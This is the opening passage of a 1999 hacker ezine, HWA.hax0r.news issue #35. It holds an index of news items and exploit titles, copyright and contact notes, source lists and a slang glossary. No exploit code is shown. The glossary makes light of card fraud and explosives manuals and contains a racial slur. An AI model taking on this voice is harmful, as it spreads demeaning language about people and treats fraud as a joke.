💾 Archived View for clemat.is › saccophore › library › ezines › textfiles › ezines › HWA › hwa-hn35.… captured on 2021-12-03 at 14:04:38.
-=-=-=-=-=-=-
[ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
==========================================================================
= <=-[ HWA.hax0r.news ]-=> =
==========================================================================
[=HWA'99=] Number 35 Volume 1 1999 Sept 25th 99
==========================================================================
[ 61:20:6B:69:64:20:63:6F:75: ]
[ 6C:64:20:62:72:65:61:6B:20:74:68:69:73: ]
[ 20:22:65:6E:63:72:79:70:74:69:6F:6E:22:! ]
==========================================================================
"We see the stars that shine so bright, the stars made for us tonight...
and all of it was made for you and me ...."
- The Passenger (Iggy Pop)
_| _| _| _| _|_|
_| _| _| _| _| _|
_|_|_|_| _| _| _| _|_|_|_|
_| _| _| _| _| _| _|
_| _| _| _| _| _|
_| _|
_|_|_| _|_|_| _| _| _| _| _| _|_|
_| _| _| _| _|_| _| _| _|_|
_| _| _| _| _| _| _| _| _|
_| _| _|_|_| _| _| _| _|
_|_|_| _|_| _| _| _| _|_|_|
_| _| _|_|_|_| _| _| _| _|_|
_| _| _| _| _| _| _| _|_|
_| _| _|_|_| _| _| _|_|_|
http://welcome.to/HWA.hax0r.news/
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
Web site sponsored by CUBESOFT networks http://www.csoft.net
check them out for great fast web hosting!
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
The Hacker's Ethic
Sadly, due to the traditional ignorance and sensationalizing of the mass
media, the once-noble term hacker has become a perjorative.
Among true computer people, being called a hacker is a compliment. One of
the traits of the true hacker is a profoundly antibureaucratic and
democratic spirit. That spirit is best exemplified by the Hacker's Ethic.
This ethic was best formulated by Steven Levy in his 1984 book Hackers:
Heroes of the Computer Revolution. Its tenets are as follows:
1 - Access to computers should be unlimited and total.
2 - All information should be free.
3 - Mistrust authority - promote decentralization.
4 - Hackers should be judged by their hacking not bogus criteria such as
degrees, age, race, or position.
5 - You create art and beauty on a computer,
6 - Computers can change your life for the better.
The Internet as a whole reflects this ethic.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
A Comment on FORMATTING:
I received an email recently about the formatting of this
newsletter, suggesting that it be formatted to 75 columns
in the past I've endevoured to format all text to 80 cols
except for articles and site statements and urls which are
posted verbatim, I've decided to continue with this method
unless more people complain, the zine is best viewed in
1024x768 mode with UEDIT.... - Ed
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
New mirror sites
http://www.sysbreakers.com/hwa
http://www.attrition.org/hosted/hwa/
http://www.ducktank.net/hwa/issues.html.
http://viper.dmrt.com/files/=E-Zines/HWA.hax0r.news/
http://hwazine.cjb.net/
http://www.hackunlimited.com/files/secu/papers/hwa/
http://www.attrition.org/~modify/texts/zines/HWA/
* http://hwa.hax0r.news.8m.com/
* http://www.fortunecity.com/skyscraper/feature/103/
* Crappy free sites but they offer 20M & I need the space...
HWA.hax0r.news is sponsored by Cubesoft communications www.csoft.net
thanks to airportman for the Cubesoft bandwidth. Also shouts out to all
our mirror sites! and p0lix for the (now expired) digitalgeeks archive
tnx guys.
http://www.csoft.net/~hwa
HWA.hax0r.news Mirror Sites:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.attrition.org/hosted/hwa/
http://www.attrition.org/~modify/texts/zines/HWA/
http://www.ducktank.net/hwa/issues.html. ** NEW **
http://www.alldas.de/hwaidx1.htm ** NEW ** CHECK THIS ONE OUT **
http://www.csoft.net/~hwa/
http://www.digitalgeeks.com/hwa. *DOWN*
http://members.tripod.com/~hwa_2k
http://welcome.to/HWA.hax0r.news/
http://www.attrition.org/~modify/texts/zines/HWA/
http://archives.projectgamma.com/zines/hwa/.
http://www.403-security.org/Htmls/hwa.hax0r.news.htm
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
SYNOPSIS (READ THIS)
--------------------
The purpose of this newsletter is to 'digest' current events of interest
that affect the online underground and netizens in general. This includes
coverage of general security issues, hacks, exploits, underground news
and anything else I think is worthy of a look see. (remember i'm doing
this for me, not you, the fact some people happen to get a kick/use
out of it is of secondary importance).
This list is NOT meant as a replacement for, nor to compete with, the
likes of publications such as CuD or PHRACK or with news sites such as
AntiOnline, the Hacker News Network (HNN) or mailing lists such as
BUGTRAQ or ISN nor could any other 'digest' of this type do so.
It *is* intended however, to compliment such material and provide a
reference to those who follow the culture by keeping tabs on as many
sources as possible and providing links to further info, its a labour
of love and will be continued for as long as I feel like it, i'm not
motivated by dollars or the illusion of fame, did you ever notice how
the most famous/infamous hackers are the ones that get caught? there's
a lot to be said for remaining just outside the circle... <g>
@HWA
=-----------------------------------------------------------------------=
Welcome to HWA.hax0r.news ... #35
=-----------------------------------------------------------------------=
We could use some more people joining the channel, its usually pretty
quiet, we don't bite (usually) so if you're hanging out on irc stop
by and idle a while and say hi...
*******************************************************************
*** /join #HWA.hax0r.news on EFnet the key is `zwen' ***
*** ***
*** please join to discuss or impart news on techno/phac scene ***
*** stuff or just to hang out ... someone is usually around 24/7***
*** ***
*** Note that the channel isn't there to entertain you its for ***
*** you to talk to us and impart news, if you're looking for fun***
*** then do NOT join our channel try #weirdwigs or something... ***
*** we're not #chatzone or #hack ***
*** ***
*******************************************************************
=-------------------------------------------------------------------------=
Issue #35
=--------------------------------------------------------------------------=
[ INDEX ]
=--------------------------------------------------------------------------=
Key Intros
=--------------------------------------------------------------------------=
00.0 .. COPYRIGHTS ......................................................
00.1 .. CONTACT INFORMATION & SNAIL MAIL DROP ETC .......................
00.2 .. SOURCES .........................................................
00.3 .. THIS IS WHO WE ARE ..............................................
00.4 .. WHAT'S IN A NAME? why `HWA.hax0r.news'?..........................
00.5 .. THE HWA_FAQ V1.0 ................................................
=--------------------------------------------------------------------------=
Key Content
=--------------------------------------------------------------------------=
01.0 .. GREETS ..........................................................
01.1 .. Last minute stuff, rumours, newsbytes ...........................
01.2 .. Mailbag .........................................................
02.0 .. From the Editor..................................................
03.0 .. Datashark's rootfest challenge...................................
04.0 .. HOW-TO Beat the ADS on FWP (Free Webpage Providers)..............
05.0 .. Even More Bad News about CESA ...................................
06.0 .. NSI Opens New Email Hole ........................................
07.0 .. Security Focus Newsletter for September..........................
08.0 .. PSS Packet Storm Security comes "back" online....................
09.0 .. British Banks Suffer Blackmail Attempts .........................
10.0 .. You Have No Privacy On The Net ..................................
11.0 .. Grade Changers Sentenced ........................................
12.0 .. Another 'hacker' challenge.......................................
13.0 .. Mitnick, Encryption and the Law .................................
14.0 .. Another 'hacker' challenge.......................................
15.0 .. 9999 Caused at Least One Problem ................................
16.0 .. Japans Virus Infestations at Record Pace ........................
17.0 .. Another Word Macro Virus Found ..................................
18.0 .. Croatia: News from Sla5h.........................................
18.1 .. Lawyer: Hackers Have Rights, Too.................................
18.2 .. Cracking for the Man.............................................
18.3 .. Moscow Mayor's Site Hackski'd....................................
18.4 .. Anti Software Piracy Ads Entice Tattlers.........................
18.5 .. SERBIA THE FIRST CYBERWAR?.......................................
18.6 .. PCWEEK CHALLENGE SITE HACKED.....................................
18.7 .. "Got Root" Got rooted............................................
18.8 .. Hotmail again....................................................
19.0 .. ACTIVE X TROJAN..................................................
20.0 .. ANALYSYS BY JFS - The PCWeek hack (Details)......................
21.0 .. CALCULATOR IN THE URL............................................
22.0 .. W97M_SUPPL.......................................................
23.0 .. WHO IS TO "BLAME"................................................
24.0 .. LPAZ DEFACED.....................................................
25.0 .. VIRUS WRITING OUTLAWED...........................................
26.0 .. NETWARE 5 BUG STRIKES NSS USERS..................................
27.0 .. TAGGED STUDENTS DEFY BIG BROTHER.................................
28.0 .. HOSPITAL SECURITY ISSUES.........................................
29.0 .. HOTMAIL STILL FAR FROM SECURE....................................
30.0 .. THE GREAT FIREWALL OF CHINA......................................
31.0 .. FTC CRACKS INTERNATIONAL PORN RING...............................
32.0 .. WINLINUX2000 Windows or Linux? can't decide? try this ... .......
33.0 .. YOUR PC COULD BE TAPPED..........................................
34.0 .. HOW THE FBI BAITED THE NAUGHTON TRAP.............................
35.0 .. HAPPY BIRTHDAY TO LINUX..........................................
36.0 .. 3com SNMP bug vulnerability......................................
37.0 .. FreeBSD local DoS on network by unpriviledged user using setsockopt()
38.0 .. BSD:Three ftp daemons in ports vulnerable to attack..............
39.0 .. Two SuSE 6.2 local root exploits.................................
40.0 .. Microsoft Security Bulletin (MS99-034)...........................
41.0 .. SCO 5.0.5 lpr local root exploit.................................
42.0 .. Remote bufferoverflow exploit for ftpd from AIX 4.3.2 running on an RS6000
43.0 .. SDI AMD remote exploit for RH linux..............................
44.0 .. Spoofed Id in Bluestone Sapphire/Web.............................
45.0 .. FreeBSD-SA-99:01: BSD File Flags and Programming Techniques......
46.0 .. Cisco and Nmap Dos...............................................
47.0 .. Vixie Crontab exploit code.......................................
48.0 .. Exploiting DCOM to gain Administrative rights on Windows NT 4....
49.0 .. linux tty hijacker by typo/teso..................................
50.0 .. Various Vulnerabilities in CDE...................................
51.0 .. elm filter program bug...........................................
52.0 .. Accept overflow on Netscape Enterprise Server 3.6 SP2 ...........
53.0 .. Serv-U Ver2.5 FTPd Win9x/NT Exploit..............................
54.0 .. HPSBUX9908-102 Security Vulnerability in rpc.cmsd................
55.0 .. IE 5.0 security vulnerabilities - ImportExportFavorites..........
56.0 .. libtermcap<2.0.8-15 sploit by typo@scene.at......................
57.0 .. Various buffer overflows in Windows POP3/SMTP servers............
58.0 .. NetBSD 1.4.1 local DoS...........................................
59.0 .. Netscape communicator 4.06J, 4.5J-4.6J, 4.61e Buffer Overflow....
60.0 .. FreeBSD NFS Exploit..............................................
61.0 .. Using Nmap for RPC vulnerability.................................
62.0 .. Clarification of the Nmap/Cisco DoS problem......................
63.0 .. 19 SCO 5.0.5+Skunware98 buffer overflows.........................
64.0 .. SDI anonymous remote exploit for proftpd.........................
65.0 .. KKIS19990914.004b: ShareDream - shared memory - ipc vulnerability
66.0 .. TenFour TFS SMTP 3.2 Buffer Overflow.............................
67.0 .. Solaris 2.7 /usr/bin/mail exploit/buffer overflow vulnerability..
68.0 .. remote DoS against inetd and ssh.................................
69.0 .. Sun Security Bulletin #00189.....................................
70.0 .. VLAN Security holes in cisco catalyst............................
71.0 .. Wingates list....................................................
72.0 .. US Army Uses BO2K ...............................................
73.0 .. India And Pakistan Duke It Out In Cyberspace ....................
74.0 .. Czech Bank Threatened by Cyber Terrorists .......................
75.0 .. 'Post Mortem' of Nasdaq Released ................................
76.0 .. DoD Creates Y2K-Alert Levels In case of Sneak Attack ............
77.0 .. Another Java Hole in Hotmail ....................................
78.0 .. Microsoft Launches New Piracy Initiative ........................
79.0 .. Online Investors at Serious Risk ................................
80.0 .. Leapfrog 1.0 Released Today (Source included)....................
81.0 .. Working for the Man .............................................
82.0 .. NAI Prepares Security Product of the Future .....................
83.0 .. Mitnick Release Date Set ........................................
84.0 .. FCC Gives Final Ruling on CALEA .................................
85.0 .. Year 2000? How About 2038? ......................................
=--------------------------------------------------------------------------=
AD.S .. Post your site ads or etc here, if you can offer something in return
thats tres cool, if not we'll consider ur ad anyways so send it in.
ads for other zines are ok too btw just mention us in yours, please
remember to include links and an email contact. Corporate ads will
be considered also and if your company wishes to donate to or
participate in the upcoming Canc0n99 event send in your suggestions
and ads now...n.b date and time may be pushed back join mailing list
for up to date information.......................................
Current dates: POSTPONED til further notice, place: TBA.. .................
Ha.Ha .. Humour and puzzles ............................................
Hey You!........................................................
=------=........................................................
Send in humour for this section! I need a laugh and its hard to
find good stuff... ;)...........................................
SITE.1 .. Featured site, .................................................
H.W .. Hacked Websites ...............................................
A.0 .. APPENDICES......................................................
A.1 .. PHACVW linx and references......................................
=--------------------------------------------------------------------------=
@HWA'99
00.0 (C) COPYRIGHT, (K)OPYWRONG, COPYLEFT? V2.0
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
THE OPINIONS OF THE WRITERS DO NOT NECESSARILY REFLECT THE
OPINIONS OF THE PUBLISHERS AND VICE VERSA IN FACT WE DUNNO
WTF IS GONNA TAKE RESPONSIBILITY FOR THIS, I'M NOT DOING IT
(LOTS OF ME EITHER'S RESOUND IN THE BACKGROUND) SO UHM JUST
READ IT AND IF IT BUGS YOU WELL TFS (SEE FAQ).
Important semi-legalese and license to redistribute:
YOU MAY DISTRIBUTE THIS ZINE WITHOUT PERMISSION FROM MYSELF
AND ARE GRANTED THE RIGHT TO QUOTE ME OR THE CONTENTS OF THE
ZINE SO LONG AS Cruciphux AND/OR HWA.hax0r.news ARE MENTIONED
IN YOUR WRITING. LINK'S ARE NOT NECESSARY OR EXPECTED BUT ARE
APPRECIATED the current link is http://welcome.to/HWA.hax0r.news
IT IS NOT MY INTENTION TO VIOLATE ANYONE'S COPYRIGHTS OR BREAK
ANY NETIQUETTE IN ANY WAY IF YOU FEEL I'VE DONE THAT PLEASE EMAIL
ME PRIVATELY current email cruciphux@dok.org
THIS DOES NOT CONSTITUTE ANY LEGAL RIGHTS, IN THIS COUNTRY ALL
WORKS ARE (C) AS SOON AS COMMITTED TO PAPER OR DISK, IF ORIGINAL
THE LAYOUT AND COMMENTARIES ARE THEREFORE (C) WHICH MEANS:
I RETAIN ALL RIGHTS, BUT I GIVE YOU THE RIGHT TO READ, QUOTE
AND REDISTRIBUTE/MIRROR. - EoD
Although this file and all future issues are now copyright, some of
the content holds its own copyright and these are printed and
respected. News is news so i'll print any and all news but will quote
sources when the source is known, if its good enough for CNN its good
enough for me. And i'm doing it for free on my own time so pfffft. :)
No monies are made or sought through the distribution of this material.
If you have a problem or concern email me and we'll discuss it.
cruciphux@dok.org
Cruciphux [C*:.]
00.1 CONTACT INFORMATION AND MAIL DROP
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Wahoo, we now have a mail-drop, if you are outside of the U.S.A or
Canada / North America (hell even if you are inside ..) and wish to
send printed matter like newspaper clippings a subscription to your
cool foreign hacking zine or photos, small non-explosive packages
or sensitive information etc etc well, now you can. (w00t) please
no more inflatable sheep or plastic dog droppings, or fake vomit
thanks.
Send all goodies to:
HWA NEWS
P.O BOX 44118
370 MAIN ST. NORTH
BRAMPTON, ONTARIO
CANADA
L6V 4H5
WANTED!: POSTCARDS! YESH! POSTCARDS, I COLLECT EM so I know a lot of you are
~~~~~~~ reading this from some interesting places, make my day and get a
mention in the zine, send in a postcard, I realize that some places
it is cost prohibitive but if you have the time and money be a cool
dude / gal and send a poor guy a postcard preferably one that has some
scenery from your place of residence for my collection, I collect stamps
too so you kill two birds with one stone by being cool and mailing in a
postcard, return address not necessary, just a "hey guys being cool in
Bahrain, take it easy" will do ... ;-) thanx.
Ideas for interesting 'stuff' to send in apart from news:
- Photo copies of old system manual front pages (optionally signed by you) ;-)
- Photos of yourself, your mom, sister, dog and or cat in a NON
compromising position plz I don't want pr0n. <g>
- Picture postcards
- CD's 3.5" disks, Zip disks, 5.25" or 8" floppies, Qic40/80/100-250
tapes with hack/security related archives, logs, irc logs etc on em.
- audio or video cassettes of yourself/others etc of interesting phone
fun or social engineering examples or transcripts thereof.
Stuff you can email:
- Prank phone calls in .ram or .mp* format
- Fone tones and security announcements from PBX's etc
- fun shit you sampled off yer scanner (relevant stuff only like #2600 meeting activities)
- reserved for one smiley face -> :-) <-
- PHACV lists of files that you have or phac cd's you own (we have a burner, *g*)
- burns of phac cds (email first to make sure we don't already have em)
- Any and all telephone sounds/tones/beeps/trunk drops/line tests/etc in .ram etc format or .mp*
If you still can't think of anything you're probably not that interesting
a person after all so don't worry about it <BeG>
Our current email:
Submissions/zine gossip.....: hwa@press.usmc.net
Private email to editor.....: cruciphux@dok.org
Distribution/Website........: sas72@usa.net
Websites;
sAs72.......................: http://members.tripod.com/~sAs72/
Cruciphux...................: http://www.geocities.com/Area51/Lair/8913/
@HWA
00.2 Sources ***
~~~~~~~~~~~
Sources can be some, all, or none of the following (by no means complete
nor listed in any degree of importance) Unless otherwise noted, like msgs
from lists or news from other sites, articles and information is compiled
and or sourced by Cruciphux no copyright claimed.
News & I/O zine ................. http://www.antionline.com/
Back Orifice/cDc..................http://www.cultdeadcow.com/
News site (HNN) .....,............http://www.hackernews.com/
Help Net Security.................http://net-security.org/
News,Advisories,++ .(lophtcrack)..http://www.l0pht.com/
NewsTrolls .(daily news ).........http://www.newstrolls.com/
News + Exploit archive ...........http://www.rootshell.com/beta/news.html
CuD Computer Underground Digest...http://www.soci.niu.edu/~cudigest
News site+........................http://www.zdnet.com/
News site+Security................http://www.gammaforce.org/
News site+Security................http://www.projectgamma.com/
News site+Security................http://securityhole.8m.com/
News site+Security related site...http://www.403-security.org/ *DOWN*
News/Humour site+ ................http://www.innerpulse.com
News/Techie news site.............http://www.slashdot.org
+Various mailing lists and some newsgroups, such as ...
+other sites available on the HNN affiliates page, please see
http://www.hackernews.com/affiliates.html as they seem to be popping up
rather frequently ...
http://www.the-project.org/ .. IRC list/admin archives
http://www.anchordesk.com/ .. Jesse Berst's AnchorDesk
alt.hackers.malicious
alt.hackers
alt.2600
BUGTRAQ
ISN security mailing list
ntbugtraq
<+others>
NEWS Agencies, News search engines etc:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.cnn.com/SEARCH/
http://www.foxnews.com/search/cgi-bin/search.cgi?query=hack&days=0&wires=0&startwire=0
http://www.news.com/Searching/Results/1,18,1,00.html?querystr=hack
http://www.ottawacitizen.com/business/
http://search.yahoo.com.sg/search/news_sg?p=hack
http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=hack
http://www.zdnet.com/zdtv/cybercrime/
http://www.zdnet.com/zdtv/cybercrime/chaostheory/ (Kevin Poulsen's Column)
NOTE: See appendices for details on other links.
http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm
http://freespeech.org/eua/ Electronic Underground Affiliation
http://ech0.cjb.net ech0 Security
http://axon.jccc.net/hir/ Hackers Information Report
http://net-security.org Net Security
http://www.403-security.org Daily news and security related site
Submissions/Hints/Tips/Etc
~~~~~~~~~~~~~~~~~~~~~~~~~~
All submissions that are `published' are printed with the credits
you provide, if no response is received by a week or two it is assumed
that you don't care wether the article/email is to be used in an issue
or not and may be used at my discretion.
Looking for:
Good news sites that are not already listed here OR on the HNN affiliates
page at http://www.hackernews.com/affiliates.html
Magazines (complete or just the articles) of breaking sekurity or hacker
activity in your region, this includes telephone phraud and any other
technological use, abuse hole or cool thingy. ;-) cut em out and send it
to the drop box.
- Ed
Mailing List Subscription Info (Far from complete) Feb 1999
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~ ~~~~~~~~
ISS Security mailing list faq : http://www.iss.net/iss/maillist.html
THE MOST READ:
BUGTRAQ - Subscription info
~~~~~~~~~~~~~~~~~~~~~~~~~~~
What is Bugtraq?
Bugtraq is a full-disclosure UNIX security mailing list, (see the info
file) started by Scott Chasin <chasin@crimelab.com>. To subscribe to
bugtraq, send mail to listserv@netspace.org containing the message body
subscribe bugtraq. I've been archiving this list on the web since late
1993. It is searchable with glimpse and archived on-the-fly with hypermail.
Searchable Hypermail Index;
http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html
<a href="http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html">Link</a>
About the Bugtraq mailing list
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The following comes from Bugtraq's info file:
This list is for *detailed* discussion of UNIX security holes: what they are,
how to exploit, and what to do to fix them.
This list is not intended to be about cracking systems or exploiting their
vulnerabilities. It is about defining, recognizing, and preventing use of
security holes and risks.
Please refrain from posting one-line messages or messages that do not contain
any substance that can relate to this list`s charter.
I will allow certain informational posts regarding updates to security tools,
documents, etc. But I will not tolerate any unnecessary or nonessential "noise"
on this list.
Please follow the below guidelines on what kind of information should be posted
to the Bugtraq list:
+ Information on Unix related security holes/backdoors (past and present)
+ Exploit programs, scripts or detailed processes about the above
+ Patches, workarounds, fixes
+ Announcements, advisories or warnings
+ Ideas, future plans or current works dealing with Unix security
+ Information material regarding vendor contacts and procedures
+ Individual experiences in dealing with above vendors or security organizations
+ Incident advisories or informational reporting
Any non-essential replies should not be directed to the list but to the originator of the message. Please do not
"CC" the bugtraq reflector address if the response does not meet the above criteria.
Remember: YOYOW.
You own your own words. This means that you are responsible for the words that you post on this list and that
reproduction of those words without your permission in any medium outside the distribution of this list may be
challenged by you, the author.
For questions or comments, please mail me:
chasin@crimelab.com (Scott Chasin)
Crypto-Gram
~~~~~~~~~~~
CRYPTO-GRAM is a free monthly newsletter providing summaries, analyses,
insights, and commentaries on cryptography and computer security.
To subscribe, visit http://www.counterpane.com/crypto-gram.html or send a
blank message to crypto-gram-subscribe@chaparraltree.com.� To unsubscribe,
visit http://www.counterpane.com/unsubform.html.� Back issues are available
on http://www.counterpane.com.
CRYPTO-GRAM is written by Bruce Schneier.� Schneier is president of
Counterpane Systems, the author of "Applied Cryptography," and an inventor
of the Blowfish, Twofish, and Yarrow algorithms.� He served on the board of
the International Association for Cryptologic Research, EPIC, and VTW.� He
is a frequent writer and lecturer on cryptography.
CUD Computer Underground Digest
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This info directly from their latest ish:
Computer underground Digest��� Sun� 14 Feb, 1999�� Volume 11 : Issue 09
�����
��������������������� ISSN� 1004-042X
������ Editor: Jim Thomas (cudigest@sun.soci.niu.edu)
������ News Editor: Gordon Meyer (gmeyer@sun.soci.niu.edu)
������ Archivist: Brendan Kehoe
������ Poof Reader:�� Etaion Shrdlu, Jr.
������ Shadow-Archivists: Dan Carosone / Paul Southworth
������������������������� Ralph Sims / Jyrki Kuoppala
�������������������������� Ian Dickinson
������ Cu Digest Homepage: http://www.soci.niu.edu/~cudigest
[ISN] Security list
~~~~~~~~~~~~~~~~~~~
This is a low volume list with lots of informative articles, if I had my
way i'd reproduce them ALL here, well almost all .... ;-) - Ed
Subscribe: mail majordomo@repsec.com with "subscribe isn".
@HWA
00.3 THIS IS WHO WE ARE
~~~~~~~~~~~~~~~~~~
Some HWA members and Legacy staff
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
cruciphux@dok.org.........: currently active/editorial
darkshadez@ThePentagon.com: currently active/man in black
fprophet@dok.org..........: currently active/IRC+ man in black
sas72@usa.net ............. currently active/IRC+ distribution
vexxation@usa.net ........: currently active/IRC+ proof reader/grrl in black
dicentra...(email withheld): IRC+ grrl in black
eentity ...( '' '' ): Currently active/IRC+ man in black
Foreign Correspondants/affiliate members
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Qubik ............................: United Kingdom
D----Y ...........................: USA/world media
HWA members ......................: World Media
Past Foreign Correspondants (currently inactive or presumed dead)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sla5h.............................: Croatia
N0Portz ..........................: Australia
system error .....................: Indonesia
Wile (wile coyote) ...............: Japan/the East
Ruffneck ........................: Netherlands/Holland
Wyze1.............................: South Africa
Please send in your sites for inclusion here if you haven't already
also if you want your emails listed send me a note ... - Ed
Spikeman's site is down as of this writing, if it comes back online it will be
posted here.
http://www.hackerlink.or.id/ ............ System Error's site (in Indonesian)
Sla5h's email: smuddo@yahoo.com
*******************************************************************
*** /join #HWA.hax0r.news on EFnet the key is `zwen' ***
*******************************************************************
:-p
1. We do NOT work for the government in any shape or form.Unless you count paying
taxes ... in which case we work for the gov't in a BIG WAY. :-/
2. MOSTLY Unchanged since issue #1, although issues are a digest of recent news
events its a good idea to check out issue #1 at least and possibly also the
Xmas issue for a good feel of what we're all about otherwise enjoy - Ed ...
@HWA
00.4 Whats in a name? why HWA.hax0r.news??
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Well what does HWA stand for? never mind if you ever find out I may
have to get those hax0rs from 'Hackers' or the Pretorians after you.
In case you couldn't figure it out hax0r is "new skewl" and although
it is laughed at, shunned, or even pidgeon holed with those 'dumb
leet (l33t?) dewds' <see article in issue #4> this is the state
of affairs. It ain't Stephen Levy's HACKERS anymore. BTW to all you
up and comers, i'd highly recommend you get that book. Its almost
like buying a clue. Anyway..on with the show .. - Editorial staff
@HWA
00.5 HWA FAQ v1.0 Feb 13th 1999 (Abridged & slightly updated again)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Also released in issue #3. (revised) check that issue for the faq
it won't be reprinted unless changed in a big way with the exception
of the following excerpt from the FAQ, included to assist first time
readers:
Some of the stuff related to personal useage and use in this zine are
listed below: Some are very useful, others attempt to deny the any possible
attempts at eschewing obfuscation by obsucuring their actual definitions.
@HWA - see EoA ;-)
!= - Mathematical notation "is not equal to" or "does not equal"
ASC(247) "wavey equals" sign means "almost equal" to. If written
an =/= (equals sign with a slash thru it) also means !=, =< is Equal
to or less than and => is equal to or greater than (etc, this aint
fucking grade school, cripes, don't believe I just typed all that..)
AAM - Ask a minor (someone under age of adulthood, usually <16, <18 or <21)
AOL - A great deal of people that got ripped off for net access by a huge
clueless isp with sekurity that you can drive buses through, we're
not talking Kung-Fu being none too good here, Buy-A-Kloo maybe at the
least they could try leasing one??
*CC - 1 - Credit Card (as in phraud)
2 - .cc is COCOS (Keeling) ISLANDS butthey probably accept cc's
CCC - Chaos Computer Club (Germany)
*CON - Conference, a place hackers crackers and hax0rs among others go to swap
ideas, get drunk, swap new mad inphoz, get drunk, swap gear, get drunk
watch videos and seminars, get drunk, listen to speakers, and last but
not least, get drunk.
*CRACKER - 1 . Someone who cracks games, encryption or codes, in popular hacker
speak he's the guy that breaks into systems and is often (but by no
means always) a "script kiddie" see pheer
2 . An edible biscuit usually crappy tasting without a nice dip, I like
jalapeno pepper dip or chives sour cream and onion, yum - Ed
Ebonics - speaking like a rastafarian or hip dude of colour <sic> also wigger
Vanilla Ice is a wigger, The Beastie Boys and rappers speak using
ebonics, speaking in a dark tongue ... being ereet, see pheer
EoC - End of Commentary
EoA - End of Article or more commonly @HWA
EoF - End of file
EoD - End of diatribe (AOL'ers: look it up)
FUD - Coined by Unknown and made famous by HNN <g> - "Fear uncertainty and doubt",
usually in general media articles not high brow articles such as ours or other
HNN affiliates ;)
du0d - a small furry animal that scurries over keyboards causing people to type
weird crap on irc, hence when someone says something stupid or off topic
'du0d wtf are you talkin about' may be used.
*HACKER - Read Stephen Levy's HACKERS for the true definition, then see HAX0R
*HAX0R - 1 - Cracker, hacker wannabe, in some cases a true hacker, this is difficult to
define, I think it is best defined as pop culture's view on The Hacker ala
movies such as well erhm "Hackers" and The Net etc... usually used by "real"
hackers or crackers in a derogatory or slang humorous way, like 'hax0r me
some coffee?' or can you hax0r some bread on the way to the table please?'
2 - A tool for cutting sheet metal.
HHN - Maybe a bit confusing with HNN but we did spring to life around the same
time too, HWA Hax0r News.... HHN is a part of HNN .. and HNN as a proper
noun means the hackernews site proper. k? k. ;&
HNN - Hacker News Network and its affiliates http://www.hackernews.com/affiliates.html
J00 - "you"(as in j00 are OWN3D du0d) - see 0wn3d
MFI/MOI- Missing on/from IRC
NFC - Depends on context: No Further Comment or No Fucking Comment
NFR - Network Flight Recorder (Do a websearch) see 0wn3d
NFW - No fuckin'way
*0WN3D - You are cracked and owned by an elite entity see pheer
*OFCS - Oh for christ's sakes
PHACV - And variations of same <coff>
Phreaking, Hacking, Anarchy, Cracking, Carding (CC) Groups Virus, Warfare
Alternates: H - hacking, hacktivist
C - Cracking <software>
C - Cracking <systems hacking>
V - Virus
W - Warfare <cyberwarfare usually as in Jihad>
A - Anarchy (explosives etc, Jolly Roger's Cookbook etc)
P - Phreaking, "telephone hacking" PHone fREAKs ...
CT - Cyber Terrorism
*PHEER - This is what you do when an ereet or elite person is in your presence
see 0wn3d
*RTFM - Read the fucking manual - not always applicable since some manuals are
pure shit but if the answer you seek is indeed in the manual then you
should have RTFM you dumb ass.
TBC - To Be Continued also 2bc (usually followed by ellipses...) :^0
TBA - To Be Arranged/To Be Announced also 2ba
TFS - Tough fucking shit.
*w00t - 1 - Reserved for the uber ereet, noone can say this without severe repercussions
from the underground masses. also "w00ten" <sic>
2 - Cruciphux and sAs72's second favourite word (they're both shit stirrers)
*wtf - what the fuck, where the fuck, when the fuck etc ..
*ZEN - The state you reach when you *think* you know everything (but really don't)
usually shortly after reaching the ZEN like state something will break that
you just 'fixed' or tweaked.
@HWA
-=- :. .: -=-
01.0 Greets!?!?! yeah greets! w0w huh. - Ed
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Thanks to all in the community for their support and interest but i'd
like to see more reader input, help me out here, whats good, what sucks
etc, not that I guarantee i'll take any notice mind you, but send in
your thoughts anyway.
* all the people who sent in cool emails and support
FProphet Pyra TwstdPair _NeM_
D----Y Dicentra vexxation sAs72
Spikeman p0lix Vortexia Wyze1
Pneuma
Ken Williams/tattooman ex-of PacketStorm,
& Kevin Mitnick
kewl sites:
+ http://www.securityportal.com/ NEW
